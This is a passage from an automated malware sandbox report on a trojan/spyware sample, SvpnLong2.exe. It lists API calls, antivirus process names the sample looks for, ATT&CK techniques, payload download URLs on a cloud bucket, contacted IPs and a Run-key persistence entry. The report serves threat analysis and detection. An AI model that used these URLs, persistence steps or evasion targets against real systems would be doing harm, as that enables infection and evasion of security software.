Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	0_2_0215D0C8
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: EnumSystemLocalesA,	0_2_0215D1F8
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	0_2_0215E600
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	0_2_02159FFC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: _getptd,GetLocaleInfoA,	0_2_0215CC80
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: GetLocaleInfoW,	0_2_0215CD68
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	0_2_0215CDF8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	5_2_000002177939D0C8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	5_2_0000021779399FFC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	5_2_000002177939D290
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	5_2_000002177939D1F8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,	5_2_000002177939CC80
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: GetLocaleInfoW,	5_2_000002177939CD68
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	5_2_000002177939E600
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	5_2_000002177939CDF8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: GetLocaleInfoA,	5_2_00007FFE11396D80
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: GetLocaleInfoW,	6_2_000001CEC521CD68
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	6_2_000001CEC521CDF8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	6_2_000001CEC521E600
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,	6_2_000001CEC521CC80
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	6_2_000001CEC5219FFC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	6_2_000001CEC521D1F8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	6_2_000001CEC521D0C8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	6_2_000001CEC521D290

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_021538A4 GetSystemTimeAsFileTime,

0_2_021538A4

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_02143560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_02143560

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_021574B8 _lock,_get_daylight,_get_daylight,_get_daylight,___lc_codepage_func,free,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_021574B8

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_021583F4 HeapCreate,GetVersion,HeapSetInformation,

0_2_021583F4

Source: C:\Users\user\Desktop\SvpnLong2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: kxetray.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: 360tray.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: avgnt.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Obfuscated Files or Information	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Service Execution	1 Valid Accounts	1 Valid Accounts	1 Software Packing	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	121 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	12 Windows Service	1 Access Token Manipulation	1 DLL Side-Loading	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	12 Windows Service	1 Valid Accounts	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Process Injection	1 Virtualization/Sandbox Evasion	LSA Secrets	1 Query Registry	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	Cached Domain Credentials	151 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Process Injection	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SvpnLong2.exe	0%	ReversingLabs
SvpnLong2.exe	11%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\dwgwp\arphaCrashReport64.exe	0%	ReversingLabs
C:\ProgramData\dwgwp\arphaCrashReport64.exe	0%	Virustotal		Browse
C:\ProgramData\dwgwp\arphaDump64.dll	54%	ReversingLabs	Win64.Trojan.DllHijack
C:\ProgramData\dwgwp\arphaDump64.dll	47%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
http://crl.thawte.com/ThawtePCA.crl0	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exef	0%	Avira URL Cloud	safe
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllNNAME=ConsoleSystemDri	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllesPSModulePath	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaCrashReport64.exe	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/=HJ/	0%	Avira URL Cloud	safe
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exehttps://jerryrat2024.oss-cn-b	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/=	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe	0%	Virustotal		Browse
https://www.virtualbox.org/	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaCrashReport64.exe	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaDump64.dll	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exehttps://jerryrat2024.oss-cn-b	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllGb	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllcy	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaDump64.dll	0%	Virustotal		Browse
https://www.virtualbox.org/	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllcy	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jerryrat2024.oss-cn-beijing.aliyuncs.com	39.97.203.118	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exef	SvpnLong2.exe, 00000000.00000003.3025877805.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.00000000011EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllesPSModulePath	SvpnLong2.exe, 00000000.00000002.3529483526.0000000003D30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllNNAME=ConsoleSystemDri	SvpnLong2.exe, 00000000.00000002.3529483526.0000000003D30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawtePCA.crl0	SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaCrashReport64.exe	SvpnLong2.exe, 00000000.00000003.3025877805.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.00000000011EB000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/=HJ/	SvpnLong2.exe, 00000000.00000002.3527821856.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025561998.000000000122F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exehttps://jerryrat2024.oss-cn-b	SvpnLong2.exe, 00000000.00000003.1893722602.0000000001400000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/=	SvpnLong2.exe, 00000000.00000002.3527821856.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025561998.000000000122F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.virtualbox.org/	arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/	SvpnLong2.exe, 00000000.00000002.3527821856.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.000000000122F000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025561998.000000000122F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaDump64.dll	SvpnLong2.exe, 00000000.00000003.3025561998.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.0000000001225000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllGb	SvpnLong2.exe, 00000000.00000003.3025561998.0000000001265000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.0000000001265000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.0000000001265000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllcy	SvpnLong2.exe, 00000000.00000003.3025561998.0000000001265000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.0000000001265000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.0000000001265000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
154.82.85.193	unknown	Seychelles	32708	ROOTNETWORKSUS	false
154.82.85.236	unknown	Seychelles	32708	ROOTNETWORKSUS	false
39.97.203.118	jerryrat2024.oss-cn-beijing.aliyuncs.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483468
Start date and time:	2024-07-27 16:56:48 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SvpnLong2.exe
Detection:	MAL
Classification:	mal76.troj.spyw.evad.winEXE@3/3@1/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 77% Number of executed functions: 71 Number of non-executed functions: 317
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:58:32	API Interceptor	8270x Sleep call for process: SvpnLong2.exe modified
15:59:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run thdjyx C:\ProgramData\dwgwp\arphaCrashReport64.exe
16:00:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run thdjyx C:\ProgramData\dwgwp\arphaCrashReport64.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
154.82.85.193	Supe.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	Tesst_1.exe	Get hash	malicious	Unknown	Browse
	Tesst_1.exe	Get hash	malicious	Unknown	Browse
154.82.85.236	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	Tesst_1.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	Tesst_1.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
39.97.203.118	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
jerryrat2024.oss-cn-beijing.aliyuncs.com	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	Supe.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	SgSetup.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	SgSetup.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	59.110.190.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	205.185.120.123-skid.arm5-2024-07-27T10_33_41.elf	Get hash	malicious	Mirai, Moobot	Browse	121.197.213.94
	93g0DCqh1e.elf	Get hash	malicious	Mirai	Browse	39.101.249.117
	AKPSrAWl2G.elf	Get hash	malicious	Mirai	Browse	203.119.157.98
	xd.mips.elf	Get hash	malicious	Mirai	Browse	120.26.142.189
	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	140.205.160.4
	dllhost.exe	Get hash	malicious	Bdaejec	Browse	47.104.145.79
	j1PvsLPsH2.exe	Get hash	malicious	Unknown	Browse	8.134.170.66
	j1PvsLPsH2.exe	Get hash	malicious	Unknown	Browse	8.134.170.66
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	120.26.110.170
ROOTNETWORKSUS	down.exe	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	154.82.85.12
	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	156.236.158.107
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	#U65b9#U6848#U7f16#U53f7FAI2-#U7b2c#U4e8c#U6279#U6b21(1).exe	Get hash	malicious	Unknown	Browse	154.82.93.122
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
ROOTNETWORKSUS	down.exe	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	154.82.85.12
	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	156.236.158.107
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	#U65b9#U6848#U7f16#U53f7FAI2-#U7b2c#U4e8c#U6279#U6b21(1).exe	Get hash	malicious	Unknown	Browse	154.82.93.122
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236

JA3 Fingerprints

